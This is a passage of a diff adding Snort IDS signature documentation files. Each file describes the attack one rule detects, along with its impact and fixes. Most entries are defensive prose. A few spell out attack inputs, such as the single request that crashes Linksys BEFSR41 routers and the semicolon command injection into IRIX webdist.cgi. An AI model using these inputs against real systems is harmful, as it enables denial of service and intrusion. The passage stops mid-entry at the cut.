+'viewcode.asp' is a utility that ships with various Microsoft products 
+and is meant to allow web site administrators to view the code of active
+server pages during development.   As it will display the contents of 
+any file on the server, it should not be present on a production system,
+but is installed by default with some products or as an option on 
+others.
+
+Also, the tool may be vulnerable to a denial of service attack.
+
+--
+Affected Systems:
+	Microsoft Site Server 3.0
+	Microsoft Site Server 3.0 Commerce Edition
+	Microsoft Commercial Internet System 2.0
+	Microsoft BackOffice Server 4.0
+	Microsoft BackOffice Server 4.5
+	Microsoft Internet Information Server 4.0
+
+--
+Attack Scenarios:
+An attacker can use this tool to steal data or to gather user 
+names/passwords and other information that could facilitate other types 
+of attack.
+--
+Ease of Attack:
+Simple. No exploit software required.
+--
+False Positives:
+None.
+--
+False Negatives:
+None.
+--
+Corrective Action:
+Remove any copies of 'viewcode.asp' from your server.
+--
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+Insecure.org
+http://www.insecure.org/sploits/ms.backoffice.source.html
+
+Microsoft
+http://support.microsoft.com/default.aspx?scid=kb;en-us;Q231368&sd=tech
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1390.txt
+++ snort-2.8.5.2/doc/signatures/1390.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1390
+
+--
+Summary:
+This event is generated when an attempt is made to execute shellcode on 
+a host in the protected network from a source external to that network.
+
+--
+Impact:
+This set of instructions can be used as a NOOP to pad buffers on an x86 
+architecture machines.
+
+--
+Detailed Information:
+This is the x86 opcode for 'inc ebx'.  This can be used as a NOOP in an 
+x86 architecture, however as with all shellcode rules, this can cause 
+false positives.  Check to see if you are ignoring shellcode rules on 
+web ports, as this will reduce false positives.
+
+--
+Attack Scenarios:
+An attacker can pad buffers with this opcode, in an attempt to overflow 
+the buffer.
+
+--
+Ease of Attack:
+This is a generic rule designed to pick up this opcode in use.
+
+--
+False Positives:
+This will false positive if rule is not ignoring clear text ports every 
+time snort sees 24 'C' characters (hex code of 43) in a row.
+
+This is the x86 opcode for 'inc ebx'.  This can be used as a NOOP in an 
+x86 architecture, however as with all shellcode rules, this can cause 
+false positives.
+
+--
+False Negatives:
+none known
+
+--
+Corrective Action:
+none known
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Mike Poor <mike.poor@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CansecWest:
+http://cansecwest.com/noplist-v1-1.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1163.txt
+++ snort-2.8.5.2/doc/signatures/1163.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+Sid:
+1163
+
+--
+
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Web server running on an IRIX platform.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+IRIX versions 5.0 through 6.3 contain a CGI script (/var/www/cgi-bin/webdist.cgi) 
+for remote administration purposes. This script, as originally released by 
+SGI, contains a vulnerability that can allow an attacker to run any 
+arbitrary command that the web server user has access to.
+
+--
+Affected Systems:
+	IRIX systems 5.0 to 6.3
+
+--
+Attack Scenarios:
+An attacker makes a request for the script followed by a semi-colon
+character ";" and then the command to be executed.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of this script on the server.
+
+Check for further signs of compromise.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1306.txt
+++ snort-2.8.5.2/doc/signatures/1306.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1306
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1173.txt
+++ snort-2.8.5.2/doc/signatures/1173.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1173
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2791.txt
+++ snort-2.8.5.2/doc/signatures/2791.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2791
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure purge_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/256.txt
+++ snort-2.8.5.2/doc/signatures/256.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+256
+
+--
+Summary:
+This event is generated when an attempt is made to query authors.bind chaos 
+record on a DNS server.  
+
+--
+Impact:
+Information gathering. This activity may indicate reconnaisance before 
+an impending attack.
+
+--
+Detailed Information:
+Bind 9.x allows you get the authors.bind chaos record.  The ability to
+retrieve this file indicates that the machine is running at least a
+9.x variant of the bind nameserver.
+
+--
+Affected Systems:
+	All DNS Servers using Bind
+ 
+--
+Attack Scenarios:
+As part of a reconnaissance mission, an attacker may attempt to glean
+important information about network infrastructure by determining the
+bind version on a nameserver. If authors.bind is retrievable, this
+indicates that Bind 9.x is in use.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Remove the ability to retrieve the authors.bind chaos record by changing 
+the DNS configuration accordingly.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2368.txt
+++ snort-2.8.5.2/doc/signatures/2368.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2368
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1468.txt
+++ snort-2.8.5.2/doc/signatures/1468.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1468
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1661.txt
+++ snort-2.8.5.2/doc/signatures/1661.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+1661
+
+--
+Summary:
+This event is generated when an attempt is made to access the cmd32.exe file.
+
+--
+Impact:
+Remote access. This attack may permit the execution of arbitrary commands on the vulnerable server. 
+
+--
+Detailed Information:
+The cmd32.exe file allows execution of commands on Windows hosts.  This file is only accessible if maliciously placed in the web server's root directory or an attacker performs unauthorized directory traversal.  This may permit the attacker to execute arbitrary commands on the vulnerable server.
+
+--
+Affected Systems:
+???
+
+--
+Attack Scenarios:
+An attacker can attempt to access the cmd32.exe file to execute arbitrary commands on the vulernable server. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Make sure that the cmd32.exe is not in the webroot directory.
+
+Make sure that all appropriate patches have been applied.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/996.txt
+++ snort-2.8.5.2/doc/signatures/996.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+996
+
+
+--
+Summary:
+This event is generated when an attempt is made to request an HTTP-based password change.
+
+--
+Impact:
+Information gathering/remote access.  Error messages from failed password changes can indicate whether a given account exists on the server.  Successful password changes can allow remote access to the server. 
+
+--
+Detailed Information:
+Microsoft Internet Information Services (IIS) Version 4 supplies a feature to allow users to make remote password changes.  The iisadmpwd directory has several .HTR files that are used to implement the password changes.  An attacker can request a change and use a returned form to supply an account name, existing password, and new password either to brute force changes or discover whether a specific account name exist. 
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0
+
+--
+Attack Scenarios:
+An attacker can request password changes to discover existing accounts or brute force password changes.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Remove the IISADMPWD virtual directory to disable remote password changes.
+
+Consider running the IIS Lockdown Tool to disable HTR functionality.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0407
+
+Bugtraq
+http://www.securityfocus.com/bid/2110
+
+--
--- snort-2.8.5.2.orig/doc/signatures/825.txt
+++ snort-2.8.5.2/doc/signatures/825.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+825
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1701.txt
+++ snort-2.8.5.2/doc/signatures/1701.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1701
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/704.txt
+++ snort-2.8.5.2/doc/signatures/704.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+704
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2225.txt
+++ snort-2.8.5.2/doc/signatures/2225.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2225
+
+--
+Summary:
+This event is generated when an attempt is made to access gozila.cgi on an internal web server. This may indicate an attempt to exploit a denial of service vulnerability in the Linksys Etherfast BEFSR41 Cable/DSL Router web interface.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+The Linksys Etherfast BEFSR41 Cable/DSL router web interface, Gozila.cgi, contains a denial of service vulnerability where, if a request is made for gozila.cgi is made without any arguments, the router crashes.
+
+--
+Affected Systems:
+Linksys Etherfast BEFSR41 Cable/DSL routers running firmware version 1.42.7 or earlier.
+
+--
+Attack Scenarios:
+An attacker sends http://routerhostname/gozilla.cgi? to a vulnerable router (where routerhostname is the router's host name). The router will crash.
+ 
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If a legitimate remote user accesses gozila.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade your router firmware to 1.43 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/6086
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1236
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3268.txt
+++ snort-2.8.5.2/doc/signatures/3268.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3268
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1439.txt
+++ snort-2.8.5.2/doc/signatures/1439.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1439
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Content type reference:
+http://reliableanswers.com/contenttype/CType.asp?page=6&ord=
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1524.txt
+++ snort-2.8.5.2/doc/signatures/1524.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1524
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000381.txt
+++ snort-2.8.5.2/doc/signatures/100000381.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000381
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_ug_auth.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_ug_auth.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1259.txt
+++ snort-2.8.5.2/doc/signatures/1259.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1259
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000516.txt
+++ snort-2.8.5.2/doc/signatures/100000516.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000516
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "CMS Faethon" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "mainpath" parameter in the "footer.php" script 
+used by the "CMS Faethon" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using CMS Faethon
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2302.txt
+++ snort-2.8.5.2/doc/signatures/2302.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2302
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
